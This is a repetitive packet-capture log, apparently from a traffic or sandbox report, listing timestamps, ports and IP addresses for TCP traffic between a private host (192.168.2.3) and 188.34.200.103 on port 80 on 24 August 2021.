Aug 24, 2021 14:01:42.587069988 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.587101936 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.587125063 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.587147951 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.605760098 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.605815887 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.605855942 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.605860949 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.605882883 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.605894089 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.605906963 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.605935097 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.605938911 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.605973005 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.605978966 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.606015921 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.606019974 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.606061935 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.606066942 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.606098890 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.606107950 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.606137991 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.606141090 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.606180906 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.606612921 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.606656075 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.606674910 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.606693983 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.606703997 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.606733084 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.606734991 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.606772900 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.608117104 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.608180046 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.608217955 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.608222961 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.608241081 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.608263016 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.608266115 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.608306885 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.608319998 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.608355999 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.608361006 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.608397961 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.608409882 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.608437061 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.608463049 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.608475924 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.608493090 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.608513117 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.608514071 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.608556032 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.608587027 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.608593941 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.608625889 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.608640909 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.608642101 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.608681917 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.608697891 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.608720064 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.608736038 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.608771086 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.608772993 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.608812094 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.608822107 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.608850002 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.608885050 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.608886003 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.608900070 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.608925104 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.608943939 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.608962059 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.608971119 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.609013081 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.609019041 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.609071970 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.609081030 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.609127998 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.609134912 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.609178066 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.609181881 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.609215021 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.609246016 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.609258890 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.609277010 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.609283924 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.609294891 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.609330893 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.609332085 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.609375000 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.609379053 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.609411955 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.609421968 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.609451056 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.609461069 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.609488010 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.609498024 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.609524965 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.609540939 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.609565973 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.609575987 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.609603882 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.609612942 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.609649897 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.609649897 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.609693050 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.609704018 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.609735966 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.609745979 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.609774113 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.609778881 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.609812021 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.609822035 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.609848976 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.609858990 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.609886885 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.609896898 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.609925032 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.609935999 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.609972000 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.609973907 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.610014915 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.610024929 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.610050917 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.610061884 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.610090017 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.610100031 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.610127926 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.610136986 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.610165119 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.610178947 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.610203028 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.610213995 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.610240936 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.610258102 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.610287905 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.610287905 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.610330105 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.610340118 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.610366106 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.610375881 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.610404968 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.610415936 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.610443115 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.610452890 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.610491037 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.610495090 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.610529900 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.610541105 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.610569000 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.610579014 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.610606909 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.610615969 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.610651016 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.610654116 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.610694885 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.610701084 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.610733986 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.610739946 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.610774994 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.610786915 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.610814095 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.610825062 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.610862970 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.626393080 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.626430988 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.626480103 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.626504898 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.626534939 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.626565933 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.626590967 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.626595974 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.626621962 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.626636982 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.626646042 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.626660109 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.626677990 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.626678944 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.626703024 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.626725912 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.626749992 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.626776934 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.626781940 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.626820087 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.626825094 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.626851082 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.626856089 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.626878023 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.626882076 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.626908064 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.626910925 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.626940966 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.626941919 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.626960039 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.626971960 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.627002954 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.627008915 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.627042055 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.627042055 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.627063036 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.627072096 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.627087116 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.627101898 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.627135038 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.627152920 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.627155066 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.627187967 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.627212048 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.627224922 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.627232075 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.627258062 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.627275944 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.627288103 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.627309084 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.627317905 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.627340078 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.627381086 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.632154942 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.632189035 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.632301092 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.632339001 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.633121014 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.633162022 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.633189917 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.633199930 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.633222103 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.633238077 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.633254051 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.633275986 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.633294106 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.633316994 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.633327007 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.633363962 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.633369923 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.633405924 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.633420944 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.633443117 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.633457899 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.633481979 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.633508921 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.633519888 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.633531094 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.633558035 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.633570910 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.633596897 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.633625984 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.633635044 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.633646965 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.633682966 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.633687019 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.633724928 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.633734941 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.633760929 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.633774996 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.633800030 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.633816957 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.633837938 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.633851051 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.633873940 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.633892059 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.633912086 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.633928061 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.633949995 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.633963108 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.633997917 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.634001970 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.634038925 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.634051085 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.634076118 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.634090900 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.634114027 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.634126902 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.634151936 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.634169102 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.634187937 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.634207010 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.634227037 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.634237051 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.634263992 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.634279966 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.634310961 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.634315968 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.634352922 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.634365082 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.634390116 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.634406090 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.634428024 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.634444952 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.634465933 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.634476900 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.634502888 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.634521961 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.634540081 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.634552956 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.634578943 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.634594917 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.634624958 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.634630919 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.634665966 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.634677887 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.634704113 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.634721041 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.634742022 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.634756088 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.634779930 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.634798050 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.634815931 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.634829998 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.634854078 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.634874105 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.634890079 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.634907961 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.634936094 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.634948015 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.634978056 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.634989023 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.635015011 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.635031939 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.635052919 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.635066986 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.635091066 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.635107994 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.635143995 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.635150909 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.635188103 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.635210991 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.635226011 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.635247946 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.635263920 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.635278940 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.635309935 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.635317087 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.635351896 CEST	80	49728	188.34.200.103	192.168.2.3
